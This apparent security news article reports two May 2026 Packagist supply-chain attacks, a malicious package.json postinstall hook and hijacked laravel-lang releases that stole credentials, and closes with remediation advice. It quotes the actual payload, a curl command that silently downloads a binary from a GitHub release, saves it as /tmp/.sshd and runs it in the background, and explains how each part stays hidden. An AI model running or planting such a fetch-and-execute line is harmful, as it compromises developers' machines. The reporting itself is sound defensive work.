In late May 2026 two separate campaigns hit Packagist, the PHP package registry, almost at the same time. The interesting part is where the malicious code lived: in neither case was it in composer.json, the first place a PHP developer would look.
The package.json trick
The first campaign affected eight Packagist packages. Among them were popular projects like devdojo/wave, a Laravel SaaS starter kit with over 6,400 GitHub stars, and devdojo/genesis, with around 9,100 recorded Packagist installs. The full list documented by Socket also included moritz-sauer-13/silverstripe-cms-theme, crosiersource/crosierlib-base, katanaui/katana, elitedevsquad/sidecar-laravel, r2luna/brain and baskarcm/tzi-chat-ui.
These are PHP packages, but the attacker never touched the Composer side. The malicious code went into the package.json that those projects carry alongside their PHP code because they ship JavaScript build tooling. The payload was a single line:
curl -skL https://github.com/.../releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &Every detail is meant to stay out of sight. The -k flag on curl disables TLS verification, 2>/dev/null swallows any error, the binary downloads from a GitHub Releases URL and lands as /tmp/.sshd to pass for a legitimate system process. It is then marked executable and launched in the background. Anyone running npm install in a project that depended on one of these packages on its development branch would run a remote binary on their Linux machine without noticing.
The risk is highest with wave and genesis because their malicious package.json sits at the project root, exactly where npm install fires the postinstall hook.
The second front: laravel-lang
In parallel, on May 22 and 23 a different attacker republished hundreds of versions (around 700, according to Snyk) of four localization libraries under the laravel-lang namespace, reusing historical release tags. The method here was different: a helpers.php file wired into Composer’s autoload.files entry, so the code ran on every PHP request the moment the package was installed. The goal was to steal developer credentials.
Access to those repositories came from a leaked GitHub Personal Access Token, presumed to stem from a recent GitHub breach. Nothing had to be broken: a token that should never have been exposed was enough.
Who is affected and what to do
The damage centres on teams tracking development branches (dev-main, dev-master, 3.x-dev) instead of pinned versions, because that is where the contents shift as upstream evolves. If you installed any of the listed packages from a development branch in May 2026, assume compromise.
Sensible steps: check whether /tmp/.sshd exists on affected machines and kill the process, inspect the package.json files bundled inside dependencies in addition to composer.json, rotate any credential or token that could have been in the IDE or CI environment, and pin specific versions instead of following live branches. Packagist pulled the malicious packages and revoked the compromised access. If you manage PHP dependencies in production, this is a reminder to know what each package manager you use actually does and to lock versions down.